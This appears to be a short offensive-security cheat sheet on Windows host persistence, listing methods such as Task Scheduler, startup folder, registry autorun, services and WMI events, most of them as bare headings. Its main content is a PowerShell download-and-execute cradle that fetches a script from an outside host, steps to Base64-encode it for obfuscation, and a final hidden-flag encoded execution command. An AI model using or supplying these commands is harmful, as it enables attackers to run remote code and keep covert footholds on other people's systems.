Host Persistence
Host Persistence (Normal User)
Default location for powershell
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershellEncode the payload for handling extra quotes
Powershell
PS C:\> $str = 'IEX ((new-object net.webclient).downloadstring("http://nickelviper.com/a"))'
PS C:\> [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))$ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0Final Command
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>Persistence - Task Scheduler
Persistence - Startup Folder
Persistence - Registry Autorun
Host Persistence (Privileged System User)
Windows Service
Register WMI event to trigger our payload
Last updated